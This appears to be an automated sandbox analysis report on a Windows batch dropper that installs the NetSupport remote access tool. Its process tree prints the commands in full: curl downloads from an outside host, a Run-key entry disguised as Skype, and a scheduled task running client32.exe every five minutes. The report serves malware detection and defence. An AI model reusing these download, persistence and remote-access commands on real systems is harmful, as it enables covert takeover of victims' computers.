Analysis

  • max time kernel
    140s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/07/2023, 19:15

General

  • Target
    1bat.bat
  • Size 1KB
  • Sample230703-xymlvabb3w
  • SHA256 aa2e8ec04e8f9c950a182e8237055d112f89597ff228aa4f714f4ce03abf68f7
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 7 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1bat.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3972
    • C:\Windows\system32\cmd.exe
      cmd.exe /c C:\ProgramData\sett.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2552
      • C:\Windows\system32\curl.exe
        curl -k "https://bigbirdmarketing.com/a5f1ac4966fe9654e51ca877711b46a3-6226f7cbe59e99a90b5cef6f94f966fd/tempy.7z" -o "C:\ProgramData\tempy.7z"
        3⤵
          PID:1992
      • C:\Windows\system32\cmd.exe
        cmd.exe /c C:\ProgramData\7z.bat"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3028
        • C:\Windows\system32\curl.exe
          curl -k "https://bigbirdmarketing.com/a5f1ac4966fe9654e51ca877711b46a3-6226f7cbe59e99a90b5cef6f94f966fd/7zz.exe" -o "C:\ProgramData\7zz.exe"
          3⤵
            PID:872
        • C:\Windows\system32\cmd.exe
          cmd.exe /c C:\ProgramData\2.bat"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1348
          • C:\Windows\system32\curl.exe
            curl -k "https://bigbirdmarketing.com/a5f1ac4966fe9654e51ca877711b46a3-6226f7cbe59e99a90b5cef6f94f966fd/2.bat" -o "C:\ProgramData\2.bat"
            3⤵
              PID:2300
            • C:\Windows\system32\reg.exe
              reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
              3⤵
                PID:4476
              • C:\Windows\system32\reg.exe
                reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Skype_xy" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
                3⤵
                • Adds Run key to start application
                PID:4140
            • C:\Windows\system32\cmd.exe
              cmd.exe /c C:\ProgramData\2.bat"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2476
              • C:\Windows\system32\xcopy.exe
                xcopy /h /y 7zz.exe C:\ProgramData\
                3⤵
                  PID:2408
                • C:\Windows\system32\xcopy.exe
                  xcopy /h /y tempy.7z C:\ProgramData\
                  3⤵
                    PID:1596
                  • C:\Windows\system32\cmd.exe
                    cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\tempy.7z -oC:\ProgramData\
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4352
                    • C:\ProgramData\7zz.exe
                      C:\ProgramData\7zz.exe x -y C:\ProgramData\tempy.7z -oC:\ProgramData\
                      4⤵
                      • Executes dropped EXE
                      PID:5044
                  • C:\Windows\system32\timeout.exe
                    TIMEOUT /T 3
                    3⤵
                    • Delays execution with timeout.exe
                    PID:3764
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /create /F /tn "Fortinety" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 5 /sd 01/01/2022 /st 00:00
                    3⤵
                    • Creates scheduled task(s)
                    PID:3904
                  • C:\Windows\system32\cmd.exe
                    cmd /c C:\ProgramData\client32.exe
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2320
                    • C:\ProgramData\client32.exe
                      C:\ProgramData\client32.exe
                      4⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of FindShellTrayWindow
                      PID:4492
                  • C:\Windows\system32\reg.exe
                    reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
                    3⤵
                      PID:1792
                    • C:\Windows\system32\reg.exe
                      reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Skype_xy" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
                      3⤵
                      • Adds Run key to start application
                      PID:2632

                Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      2.bat

                      • Path C:\ProgramData\2.bat
                      • Size 241B
                      • SHA256 5df24ce278cd7706c15cb88f231cad45074c77f00965e54e999ac70da183575b
                      • MD5 SHA1 SHA512

                      2.bat

                      • Path C:\ProgramData\2.bat
                      • Size 761B
                      • SHA256 a404bf8591d94946e29d13da6ac118b8d5237100fcfe1e8d14cb2b0e5d5535b9
                      • MD5 SHA1 SHA512

                      7z.bat

                      • Path C:\ProgramData\7z.bat
                      • Size 248B
                      • SHA256 7c327ae0e740ebb61dad4fde0c96bfe88758c79ab8c854f36f85a950588c5e10
                      • MD5 SHA1 SHA512

                      7zz.exe

                      • Path C:\ProgramData\7zz.exe
                      • Size 574KB
                      • SHA256 c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf
                      • MD5 SHA1 SHA512 SSDEEP

                      7zz.exe

                      • Path C:\ProgramData\7zz.exe
                      • Size 574KB
                      • SHA256 c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf
                      • MD5 SHA1 SHA512 SSDEEP

                      HTCTL32.DLL

                      • Path C:\ProgramData\HTCTL32.DLL
                      • Size 320KB
                      • SHA256 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
                      • MD5 SHA1 SHA512 SSDEEP

                      HTCTL32.DLL

                      • Path C:\ProgramData\HTCTL32.DLL
                      • Size 320KB
                      • SHA256 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
                      • MD5 SHA1 SHA512 SSDEEP

                      MSVCR100.dll

                      • Path C:\ProgramData\MSVCR100.dll
                      • Size 755KB
                      • SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
                      • MD5 SHA1 SHA512 SSDEEP

                      NSM.LIC

                      • Path C:\ProgramData\NSM.LIC
                      • Size 258B
                      • SHA256 f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
                      • MD5 SHA1 SHA512

                      PCICHEK.DLL

                      • Path C:\ProgramData\PCICHEK.DLL
                      • Size 18KB
                      • SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
                      • MD5 SHA1 SHA512 SSDEEP

                      PCICL32.DLL

                      • Path C:\ProgramData\PCICL32.DLL
                      • Size 3.6MB
                      • SHA256 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5
                      • MD5 SHA1 SHA512 SSDEEP

                      PCICL32.dll

                      • Path C:\ProgramData\PCICL32.dll
                      • Size 3.6MB
                      • SHA256 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5
                      • MD5 SHA1 SHA512 SSDEEP

                      TCCTL32.DLL

                      • Path C:\ProgramData\TCCTL32.DLL
                      • Size 387KB
                      • SHA256 6795d760ce7a955df6c2f5a062e296128efdb8c908908eda4d666926980447ea
                      • MD5 SHA1 SHA512 SSDEEP

                      TCCTL32.DLL

                      • Path C:\ProgramData\TCCTL32.DLL
                      • Size 387KB
                      • SHA256 6795d760ce7a955df6c2f5a062e296128efdb8c908908eda4d666926980447ea
                      • MD5 SHA1 SHA512 SSDEEP

                      client32.exe

                      • Path C:\ProgramData\client32.exe
                      • Size 99KB
                      • SHA256 213af995d4142854b81af3cf73dee7ffe9d8ad6e84fda6386029101dbf3df897
                      • MD5 SHA1 SHA512 SSDEEP

                      client32.exe

                      • Path C:\ProgramData\client32.exe
                      • Size 99KB
                      • SHA256 213af995d4142854b81af3cf73dee7ffe9d8ad6e84fda6386029101dbf3df897
                      • MD5 SHA1 SHA512 SSDEEP

                      client32.ini

                      • Path C:\ProgramData\client32.ini
                      • Size 600B
                      • SHA256 7d1302fc5aeb3aa1233d44cea8263ee577041c92d7aab5cad69dce94574ef49a
                      • MD5 SHA1 SHA512

                      msvcr100.dll

                      • Path C:\ProgramData\msvcr100.dll
                      • Size 755KB
                      • SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
                      • MD5 SHA1 SHA512 SSDEEP

                      msvcr100.dll

                      • Path C:\ProgramData\msvcr100.dll
                      • Size 755KB
                      • SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
                      • MD5 SHA1 SHA512 SSDEEP

                      pcicapi.dll

                      • Path C:\ProgramData\pcicapi.dll
                      • Size 32KB
                      • SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
                      • MD5 SHA1 SHA512 SSDEEP

                      pcicapi.dll

                      • Path C:\ProgramData\pcicapi.dll
                      • Size 32KB
                      • SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
                      • MD5 SHA1 SHA512 SSDEEP

                      pcichek.dll

                      • Path C:\ProgramData\pcichek.dll
                      • Size 18KB
                      • SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
                      • MD5 SHA1 SHA512 SSDEEP

                      sett.bat

                      • Path C:\ProgramData\sett.bat
                      • Size 257B
                      • SHA256 6edd15ceb24c8b7c2ac23707a4750b625b6a041db9d8be7aa09103ab57891b9e
                      • MD5 SHA1 SHA512

                      tempy.7z

                      • Path C:\ProgramData\tempy.7z
                      • Size 2.4MB
                      • SHA256 0d45656a6cf5452fdadd7acad2b6599510722872b65e9c733b6b4c1d5ee50305
                      • MD5 SHA1 SHA512 SSDEEP